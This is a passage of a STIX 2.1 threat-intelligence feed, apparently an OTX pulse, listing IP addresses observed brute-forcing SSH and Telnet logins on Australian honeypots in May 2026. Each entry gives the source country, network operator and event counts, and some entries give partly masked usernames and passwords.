      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 328867. Organisation(s): CBS-AS.",
      "id": "indicator--b8b6d667-a438-4372-9b97-1e298b3a152f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.176.90.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 141529. Organisation(s): Vmps Internet Private Limited.",
      "id": "indicator--bbaeded8-bd2f-445b-ba78-54f7d021eba8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.196.0.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 24499. Organisation(s): Telenor Pakistan.",
      "id": "indicator--383d2f62-dd47-494d-9cdc-d02d55453413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.57.224.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--0831a1da-a979-4c23-ade5-e19feb21e75d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.22.177.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--ccbef89e-9188-4f98-9274-2fec75c57045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.94.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397373. Organisation(s): H4Y Technologies LLC.",
      "id": "indicator--d1525e13-2db8-44d6-892d-a334aec51898",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '155.254.25.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--c27d6aed-2f7b-4c27-897a-06a1056e5900",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.86.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--cf5e7398-7875-491e-8bde-388282111a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.241.118.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--2ed50bb5-fe67-4ab7-928d-d47ebee8e5e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.68.31.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 8948. Organisation(s): 099 Primo Communications Ltd.",
      "id": "indicator--aa968148-cf01-4075-820e-6c6c93382aab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.253.107.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 214295. Organisation(s): Skynet Network Ltd.",
      "id": "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--4e245947-8b52-442e-92b0-fe3a2348e9cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.79.172.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 9038. Organisation(s): Al Bahrainia al Urdunia Liltaknia Wa Alitisalat Plc. Co.",
      "id": "indicator--3b45d947-e880-46c5-a3eb-46ef63d6c25a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.106.108.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--54bb3d67-9876-4e86-ba6e-e8bb422a6917",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.197.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--b3ca3330-ab65-4917-a211-d68843fad7ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.98.151.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:15:10.000Z",
      "valid_until": "2026-06-10T02:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328471. Organisation(s): Hero-Telecoms.",
      "id": "indicator--16cfe92b-af7c-4f18-a911-a7818ecffc59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.66.151.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 271. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, u**r, 1****6. Passwords observed (masked): a***n, p******d, 1**1, 1**4, 1***5.",
      "id": "indicator--b0a0ffef-8327-4d9f-a261-7186720b2854",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.150.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 306. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, 1**4, a****n, a***n. Passwords observed (masked): 1**4, a****3, a***n, 0**************D, *.",
      "id": "indicator--7e9d6d6b-9ebd-4ade-a6ee-0a2a2f189eae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.176.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--617bd56f-0502-4d52-bc0d-a1c2ac0bc0f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.112.105.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--35591e3e-5b5b-405d-85f1-778f8193a324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.142.179.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HU. ASN(s): 5483. Organisation(s): Magyar Telekom Plc..",
      "id": "indicator--12e4476f-b705-479a-9095-33884df4a334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.107.215.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24961. Organisation(s): WIIT AG.",
      "id": "indicator--86b85df7-c394-4622-bca6-f10fd5b7c907",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.163.206.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:15:10.000Z",
      "valid_until": "2026-06-10T03:15:08.000Z"
    },
    {
      "created": "2026-05-09T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--be8342ef-c81a-406d-aa9f-04257e899e26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.189.35.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:15:10.000Z",
      "valid_until": "2026-06-10T04:15:08.000Z"
    },
    {
      "created": "2026-05-09T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--e05f9d6c-fbd7-47f3-b422-f5fd6f31a126",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.171.240.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:15:10.000Z",
      "valid_until": "2026-06-10T04:15:08.000Z"
    },
    {
      "created": "2026-05-09T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13760. Organisation(s): Uniti Fiber Holdings Inc..",
      "id": "indicator--92e24d6a-3c9d-4194-8580-05ffb3fa3673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.190.56.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:15:10.000Z",
      "valid_until": "2026-06-10T04:15:08.000Z"
    },
    {
      "created": "2026-05-09T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--41e95606-1705-48a0-b28a-8826a2f7e338",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.180.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:15:10.000Z",
      "valid_until": "2026-06-10T04:15:08.000Z"
    },
    {
      "created": "2026-05-09T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28509. Organisation(s): Cablemas Telecomunicaciones SA de CV.",
      "id": "indicator--04cd1d30-4554-45e1-b54c-956e3352c05a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.239.89.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:15:10.000Z",
      "valid_until": "2026-06-10T04:15:08.000Z"
    },
    {
      "created": "2026-05-09T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--768342f7-4639-4ef2-ba57-3f558f3e16d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.122.222.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:15:10.000Z",
      "valid_until": "2026-06-10T04:15:08.000Z"
    },
    {
      "created": "2026-05-09T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--0e208c27-1ca0-4abe-a9fe-c528bc8c33bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.207.235.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:15:10.000Z",
      "valid_until": "2026-06-10T05:15:08.000Z"
    },
    {
      "created": "2026-05-09T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--f5d1f390-960d-4fb2-9299-67cc1d15226b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.158.61.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:15:10.000Z",
      "valid_until": "2026-06-10T05:15:08.000Z"
    },
    {
      "created": "2026-05-09T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4127. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, u****u, d****y. Passwords observed (masked): 1****6, ***, *, p******d, 1**4.",
      "id": "indicator--69ddf55a-edc0-446f-b17d-40c036f93922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:15:10.000Z",
      "valid_until": "2026-06-10T05:15:08.000Z"
    },
    {
      "created": "2026-05-09T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 205399. Organisation(s): Hostigger INC..",
      "id": "indicator--7c015bca-eaa0-4fba-ba29-e034d27d934f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.219.133.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:15:10.000Z",
      "valid_until": "2026-06-10T05:15:08.000Z"
    },
    {
      "created": "2026-05-09T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--4b6b2b8a-0543-4675-9b09-ac4260350037",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.25.52.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:15:10.000Z",
      "valid_until": "2026-06-10T05:15:08.000Z"
    },
    {
      "created": "2026-05-09T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--5aeabe7c-9305-48b1-bcb6-c3f9762efa98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.165.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:15:10.000Z",
      "valid_until": "2026-06-10T05:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, T*******2, h******!, r********6.",
      "id": "indicator--f6212b30-c53c-4135-8a6e-b2d72b05f026",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.165.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:15:10.000Z",
      "valid_until": "2026-06-10T06:15:08.000Z"
    },
    {
      "created": "2026-05-09T06:15:10.000Z",
